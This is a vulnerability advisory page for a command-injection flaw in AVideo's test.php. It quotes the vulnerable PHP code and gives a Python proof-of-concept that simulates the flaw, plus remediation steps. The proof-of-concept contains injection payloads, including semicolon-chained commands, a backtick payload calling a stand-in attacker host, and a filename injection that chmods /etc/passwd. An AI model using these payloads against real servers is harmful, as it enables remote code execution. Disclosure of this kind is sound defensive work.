Vulnerability Database

352,262

Total vulnerabilities in the database

WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection — wwbn / avideo

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Summary

The incomplete fix for AVideo's test.php adds escapeshellarg for wget but leaves the file_get_contents and curl code paths unsanitized, and the URL validation regex /^http/ accepts strings like httpevil.com.

Affected Package

  • Ecosystem: Other
  • Package: AVideo
  • Affected versions: < commit 1e6cf03e93b5
  • Patched versions: >= commit 1e6cf03e93b5

Details

The vulnerable wget() function in plugin/Live/test.php:

function wget($url, $filename) { $cmd = &quot;wget --tries=1 {$url} -O {$filename} --no-check-certificate&quot;; exec($cmd); }

Neither $url nor $filename is passed through escapeshellarg(). The URL validation uses preg_match(&quot;/^http/&quot;, $url) which:

  • Does not require :// (matches httpevil.com)
  • Does not block shell metacharacters (;, backticks, $())
  • Does not validate the URL is actually a URL

A payload like http://x; id &gt; /tmp/pwned; echo passes the regex and injects arbitrary commands via the semicolons.

The fix adds escapeshellarg() for the wget path and an isAllowedStatsTestURL allowlist, but url_get_contents() (used by the same endpoint) still follows redirects without validation. The wget-specific fix does not protect the file_get_contents and curl code paths that handle the same user-supplied URL.

PoC

&quot;&quot;&quot; CVE-2026-33502 - Command injection in AVideo plugin/Live/test.php Tests REAL vulnerable code from: plugin/Live/test.php (commit pre-1e6cf03) The vulnerable wget() function at the end of test.php: $cmd = &quot;wget --tries=1 {$url} -O {$filename} --no-check-certificate&quot;; exec($cmd); No escapeshellarg() is used on $url or $filename parameters. The URL validation regex /^http/ is also weak (matches &quot;httpevil.com&quot;). &quot;&quot;&quot; import re import sys import os import subprocess src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), &#039;src&#039;) src_content = open(os.path.join(src_dir, &#039;test.php&#039;)).read() print(&quot;=&quot; * 60) print(&quot;CVE-2026-33502: AVideo Command Injection PoC (Real Source)&quot;) print(&quot;=&quot; * 60) print() has_weak_regex = bool(re.search(r&#039;preg_match\(&quot;/\^http/&quot;&#039;, src_content)) has_unsanitized_wget = &#039;wget --tries=1 {$url} -O {$filename}&#039; in src_content has_escapeshellarg = &#039;escapeshellarg&#039; in src_content has_exec = &#039;exec($cmd)&#039; in src_content has_auth_check = &#039;User::isAdmin()&#039; in src_content print(&quot;[*] Source: plugin/Live/test.php (pre-fix)&quot;) print(&quot;[*] Weak URL regex /^http/: &quot; + str(has_weak_regex)) print(&quot;[*] Unsanitized wget command: &quot; + str(has_unsanitized_wget)) print(&quot;[*] escapeshellarg used: &quot; + str(has_escapeshellarg)) print(&quot;[*] exec() used: &quot; + str(has_exec)) print(&quot;[*] Authentication check: &quot; + str(has_auth_check)) print() def extract_wget_function(): match = re.search(r&#039;function wget\(.*?\n\}&#039;, src_content, re.DOTALL) if match: return match.group(0) return None wget_func = extract_wget_function() if wget_func: print(&quot;[*] Extracted real wget function:&quot;) for line in wget_func.split(&#039;\n&#039;): print(&quot; &quot; + line) print() def simulate_url_validation(url): if not url or url == &quot;php://input&quot;: return False if not re.match(r&quot;^http&quot;, url): return False return True def simulate_vulnerable_wget_cmd(url, filename): cmd = f&quot;wget --tries=1 {url} -O {filename} --no-check-certificate&quot; return cmd print(&quot;[*] Testing command injection payloads:&quot;) print() vuln_count = 0 payload = &quot;http://x; id &gt; /tmp/pwned; echo &quot; valid = simulate_url_validation(payload) cmd = simulate_vulnerable_wget_cmd(payload, &quot;/tmp/test123&quot;) print(f&quot; Payload: {payload}&quot;) print(f&quot; Passes regex: {valid}&quot;) print(f&quot; Generated command: {cmd}&quot;) if valid and &#039;; id&#039; in cmd: print(&quot; Result: COMMAND INJECTION - &#039;id&#039; will execute&quot;) vuln_count += 1 print() payload2 = &quot;http://x`whoami`.attacker.com/test&quot; valid2 = simulate_url_validation(payload2) cmd2 = simulate_vulnerable_wget_cmd(payload2, &quot;/tmp/test456&quot;) print(f&quot; Payload: {payload2}&quot;) print(f&quot; Passes regex: {valid2}&quot;) print(f&quot; Generated command: {cmd2}&quot;) if valid2 and &#039;`whoami`&#039; in cmd2: print(&quot; Result: COMMAND INJECTION via backticks&quot;) vuln_count += 1 print() payload3 = &quot;httpevil.attacker.com&quot; valid3 = simulate_url_validation(payload3) print(f&quot; Payload: {payload3}&quot;) print(f&quot; Passes regex: {valid3}&quot;) if valid3: print(&quot; Result: WEAK REGEX - &#039;httpevil.com&#039; matches /^http/&quot;) vuln_count += 1 print() cmd4 = simulate_vulnerable_wget_cmd(&quot;http://legit.com&quot;, &quot;/tmp/test; chmod 777 /etc/passwd&quot;) print(f&quot; Filename injection command: {cmd4}&quot;) if &#039;; chmod&#039; in cmd4: print(&quot; Result: FILENAME INJECTION possible&quot;) vuln_count += 1 print() if not has_auth_check: vuln_count += 1 print(&quot;[*] No authentication required to reach test.php&quot;) print() if vuln_count &gt; 0 and has_unsanitized_wget: print(&quot;VULNERABILITY CONFIRMED&quot;) sys.exit(0) else: print(&quot;VULNERABILITY NOT CONFIRMED&quot;) sys.exit(1)

Steps to reproduce:

  1. git clone https://github.com/WWBN/AVideo /tmp/AVideo_test
  2. cd /tmp/AVideo_test &amp;&amp; git checkout 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3~1
  3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED wget() uses unsanitized $url in shell command via exec(), and the URL regex /^http/ is too weak to prevent injection.

Impact

An unauthenticated attacker can achieve remote code execution on the AVideo server by sending a crafted URL to plugin/Live/test.php that injects shell commands via semicolons or backticks in the wget command line. This grants full server compromise -- the attacker can read database credentials, install backdoors, or pivot to internal systems.

Suggested Remediation

  1. Use escapeshellarg() on both $url and $filename in the wget() function.
  2. Strengthen the URL regex to require ^https?:// and reject shell metacharacters.
  3. Add authentication (User::isAdmin()) to the test.php endpoint.
  4. Apply escapeshellarg() consistently across all code paths (wget, curl, file_get_contents).
  • Published: Apr 14, 2026
  • Updated: Apr 15, 2026
  • GHSA: GHSA-pq8p-wc4f-vg7j
  • Severity: High
  • Exploit:
  • CISA KEV:

No technical information available.

CWEs:

OWASP TOP 10:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.